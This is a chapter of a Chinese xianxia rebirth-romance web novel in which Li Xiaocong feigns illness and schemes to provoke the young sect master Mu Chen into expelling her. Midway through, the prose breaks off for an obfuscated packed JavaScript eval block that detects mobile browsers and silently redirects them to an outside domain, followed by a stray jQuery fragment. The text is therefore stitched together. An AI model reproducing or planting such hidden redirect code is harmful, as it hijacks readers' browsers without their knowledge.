梨小琮终于还是住进与穆尘相邻的厢房,她在“昏睡”两天之后终于悠悠转醒,但她的精神状态一直处于昏迷与半昏迷之间,坚持自己受了惊吓见不得太阳,白天闭门不出。
问来和问去站在门口问了几次,她要么胡言乱语要么干脆不答,穆尘的灵阁本就人丁稀少,也就随她去了。
不过昨夜东边的窗户开了一条缝,一股子饭菜香气从缝中飘进来,她饿得前胸贴后背,还没反应过来,脚脖子就跟着饭菜香走了过去。不听使唤地一路走到少掌门的小厨房,在碗柜里竟搜刮出两个热气腾腾刚出炉的杂粮馒头和两盘炒菜。
她从来都不知穆尘有吃宵夜的习惯,或许是问来问去想留给自己的,她抄起筷子毫不客气狼吞虎咽起来,谁让她肚子饿了呢,管它是谁的饭菜,既然被她发现注定就得进她肚子。
吃饱喝足,她又捎带从锅内顺了一碗甜汤漱漱口,摸着圆滚滚的肚子悄悄又回到卧室。路过穆尘厢房时她没有停留半分,一股脑就钻进厢房继续躺平。
这几日她“昏迷不醒”,这位少掌门一次也没来看过她。她以手枕头,躺在床上翘着二郎腿,面对肃笠的刁难,穆尘竟然破天荒地维护自己?梨小琮摸了摸下巴,绝对不可能 !
“这个男人的尿性我太了解了,他绝对不是为了袒护我。”
她睁开眼睛看着房梁,想要离开这里的心更加强烈。
“师姐,你醒了吗?”青荷站在门口,“我能进来吗?”
“小荷花?”梨小琮坐了起来,鼻尖微动,一股荷叶清香慢慢飘进屋内。
青荷推开门,手上端着一个食盒,梨小琮眼尖,咽了咽口水一把就给递了过来。
梨小琮没皮没脸地贴着青荷,“小荷花,整个玄冰门就你对我好,知道我饿了几天快要饿死了,我太爱你了。”
“师姐,你怎么睁眼说瞎话,饿了好几天的流民我可见过,你唇红齿白也不像饿了几天。”
梨小琮说道,“小荷花,你可不能只看表面,我看起来肚子滚滚,但的确饿了好几天。”
青荷无奈摇摇头,“师姐,你每次吃饭时都像是饿了好几天,你忘了师父是怎么形容你的?说你吃饭能把炼丹炉都吃空。”
“打住!”梨小琮问道,“那个老头子还好吗?”
“好,虽然师父嘴上不说,但我们都看得出来他担心你。”青荷压低声音问道,“我听说前几天少掌门为了你和肃笠师叔闹得不太愉快?他不愧是我们的少掌门,不光长得好,连做事都这么讲义气,真是颇有掌门风范。”
梨小琮琮食盒里拿出一块荷花糕,听了这么恶心的话,满脸苦相,“小荷花,我要批评你,你不能被穆尘的表象所迷惑。”
“你小声点,小心他听见。”
“我巴不得他听见之后赶我走。”
青荷问道,“少掌门这么维护你,他是不会赶你走的。”
“小荷花,你千万不要说这么可怕的话,他不是维护我,而是他这个人功利性太重,凡事都有目的,绝对不会为了某个人惹麻烦,他这么做一定有他的原因。”
“那你倒说说穆尘师兄有什么原因?”
“我猜测,”梨小琮压低声音漫不经心地咬着糯叽叽的糕点,“因为现在他刚接手玄冰门,正是需要立威的时候,刚巧那个肃笠撞在枪口上,于是你的穆尘师兄就以我这个事为由头,拿她开刀。”
“师姐,你怎么能这么说师兄?你肯定误会他了。”
“误会?”梨小琮恨铁不成钢,“我绝对不会误会他的。”
青荷捂嘴偷笑起来,“师姐,你这幅表情好像非常了解师兄一样。”
“我多聪明啊,我能透过我这双漂亮的眼睛看清这个虚伪的人本质。”
青荷不语,默默地梨小琮收拾桌子上的残渣。
梨小琮问道,“除了他开罪肃笠,你还听见什么?”
“倒也没什么,我们大家都知道肃笠师叔想要她徒弟进少掌门的灵阁,刁难你肯定是常有的事,只不过没想到她这么快就动手了。”
“你等着吧,好戏还在后头呢。”
青荷并不知道肃笠来找麻烦的具体细节,可见这件事并未传扬出去,可肃笠和她那宝贝徒弟并不是守口如瓶之人,这件事到底是谁压了下来?
梨小琮咬上一口糕点,青荷心疼地说道,“师姐,你得快点好起来。”
梨小琮学着街头混混那样痞笑,勾着青荷的下巴,“小荷花,原来你这么担心我。”
“我当然担心你,你可是我们炼丹炉的榜样,”
“大可不必,你们谁想来这里,我立刻退位让贤。”
青荷赶紧堵住她的嘴,“别瞎说,小心隔墙有耳。我可提醒你,你虽然进了少掌门的灵阁,但不可掉以轻心,你可不要忘记每季还有女官考核,如果你通不过的话,还不是得灰溜溜滚回你的灵阁。”
对啊!
梨小琮目光里闪出耀眼的光芒,她怎么把这茬给忘了?以前每季度需要考核一次,由穆尘和掌门定夺她到底能不能继续胜任这个位子。
上一世她除了给穆尘炼丹疗伤,还得费心巴力地应付这考核,看这个死男人的脸色行事。但这一世她又不需要低三下四,想要通过考核很难,要想考不上简直易如反掌,到时候她办砸几件差事,就算掌门不赶她走,穆尘也得让她滚出灵阁。
“师姐,你这副表情在想什么?”
“小荷花,你真是我的好荷花,果然让我亲一口。”
青荷胆怯地看向梨小琮,“师姐,你是不是又想到什么坏主意?”
“当然没有,我可是安分守己的女官。”
“我怎么没觉得。”
送走了青荷,梨小琮顿感自己智谋无双。她推开门正巧见问来在院中扫雪,圆月照当空,寒风刺骨,问来疑惑地望着梨小琮。
“师叔,你找师父吗?师父去上晚课了。”
梨小琮摸了摸下巴,收回张望的眼神,“我不找穆……少掌门。你这么晚还不睡吗?”
“师父说今夜必须把院中白雪扫尽。”
梨小琮手掌轻轻摸了摸自己的屁股,刚才摔在雪地上的疼痛记忆犹新,“是得扫干净,我从这里遛……走出去的时候已经摔两回了。”
“师叔,你怎么这么快就醒了?师父说你还得好几天才能醒呢。”
梨小琮问道,“穆……少掌门如何判断我还得多躺两天?”
“师父说了你吃了肃笠师叔祖一掌,以你的仙力最起码躺半月有余。”
梨小琮脸色一白,心虚地咳嗽了一声,装得十分脆弱的模样,“我想我刚入少掌门的灵阁,不能总是躺着不干活。”
问来说道,“师叔大可放心,师父并没有强求您起来干活。”
“那也不行,我是个劳碌命,一日不干活就难受,”梨小琮伸了个懒腰,张嘴说着谎话,“从明天起你师父的衣食住行都看我。”
“师叔,你这段时间身子不爽,真的不用勉强,师父平日起居简单,我和问去能应付。”
“不勉强,一点都不勉强,我巴不得。”
问来望着梨小琮的背影,传言这位师叔极为爱恋自己师父,看她一副急切想要往师父身上贴的动作,看来传言非虚。
曙光初现,雄鸡鸣啼,梨小琮已经站在穆尘的厢房门口。
“少掌门,该起床更衣了。”
“进来吧。”
这间厢房一点也没有改变,梨小琮置身其中,仿佛有一种虚幻的不真实感,这里的一桌一椅,一画一字,和她记忆中一模一样。
前尘旧事像是狂风海啸一般向她涌来,在这间厢房她与穆尘说的每一句话她都记得,每一个字都嘲笑她的愚蠢。
好在她重生了,这一世她不用再继续错付了,我要离开你,穆尘。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114964|149381||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
梨小琮咽了口口水,压制住内心的感触。一阵水声从屏风后传来,穆尘正弯腰洗脸,场景又一次在脑海里重合,梨小琮下意识地吸了吸鼻子,上辈子临死前被破寒剑刺进胸膛的疼痛感传遍全身,她扭过头,手掌捂住眼睛轻抚眼角的泪。
穆尘身形一僵。
梨小琮压住转身拔腿就跑的冲动,清了清嗓门,“少掌门,你的衣物我已经备下。”
“嗯。放在那。”
梨小琮毕恭毕敬地站在原地静待穆尘洗漱,但穆尘似乎今日的动作格外缓慢,好似刻意拖延时间。
梨小琮想起上一世,天未亮就起来收集晨间露水为他烹煮茶汤,白色长衫必是自己亲手洗涤熨烫,她每日像是伺候儿子一样不知疲倦地伺候他,换来得又是什么?
穆尘转身对着那双怨怼的双眸,梨小琮立刻收敛起愤恨的眼神,柔顺地后退半步,“少掌门有何吩咐?”
“梨小琮,我并没有让女官准备衣物的习惯,你不用这么做。”
“不可!”梨小琮连忙制止,露出一个温柔甜美的微笑,“伺候少掌门是我的本分。”
“不需要。”
穆尘的口气像上一世一样冰冷傲慢,前世每次听见这话,她心中都会刺痛,可此刻她心里毫无波澜,甚至还有片刻的欣喜,她终于认清眼前这个绝情的男人,他像是昆仑山上的冰山是永远捂不热的。
梨小琮脸皮很厚地点点头,委屈地看向穆尘背影,“我搬来前师父嘱咐过我能做少掌门的女官是我们炼丹炉的造化,他要我悉心照料少掌门的衣食住行,我可不能违抗师命啊。”
“所以你就给我穿大红色道袍?”
穆尘的目光落在叠得整齐的长衫,梨小琮若有所思地望着那红衣,一副我不知道错在哪里的样子,一字一句地说着,“少掌门长得隽秀,身形高大伟岸,想必穿红色是最好看的。”
“你我师出同门,难道你不知道我的习惯?”
梨小琮眼神空洞,嘴里吐出来的话不带丝毫真情实感,只有矫揉造作的恭维,“习惯是可以变的。再说少掌门生得这般俊朗,你就不想尝试一下其他颜色吗?”
“不想。”
“相信我少掌门,你穿红衣很好看,我曾经在梦里看见过。”梨小琮双眼定定地看向穆尘,瞳孔里映出赤红赤红的颜色,仿佛和上一世穿着嫁衣迎娶白青藤的他融为一体。
穆尘冷冷地看着她,梨小琮太熟悉这样的目光,她知道他生气了。
梨小琮薄唇亲启,双眸目光落在远方,“那时的你已经位列仙班,是四海八荒最英俊最挺拔的上仙。”
“我不想再说第二遍。”
屋内安静,谁也没开口说话。梨小琮眼里皆是笑意,笑得连眼泪都快要顺着脸颊流下来,她在静待穆尘发火,在等他赶自己出去。
不过一瞬,穆尘眼底的愠色消失不见,他平静如湖,桃花眼里竟也有了一丝无奈,梨小琮也不甘示弱与他对望,最终败下阵来,“行吧,既然是少掌门穿衣,就应该您自己做决定。只不过……”
报复的快感掠过她心头。
“只不过什么?”
“……我昨天一不小心……”
“一不小心如何?”
穆尘的眉头紧皱,梨小琮委屈巴巴地噘着嘴,“一不小心把少掌门所有白色长衫统统洗了。”
“没关系,”穆尘并未动气,“施个烈火咒对炼丹炉出身的你并不是难事。”
梨小琮挠挠头,“平日师父教的烈火咒都用在炼丹炉上,弟子学艺不精,没有掌握好火候……”
梨小琮生怕穆尘看不清白色长衫上一个个焦灰的窟窿,双手特意举高头顶,“这天寒冬腊月,若少掌门不想受风寒,怕只能穿这件红衣。”
“怎么了,少掌门,看你的脸色,你不会是生气了吧。没关系,你不满意我……”
“出去。”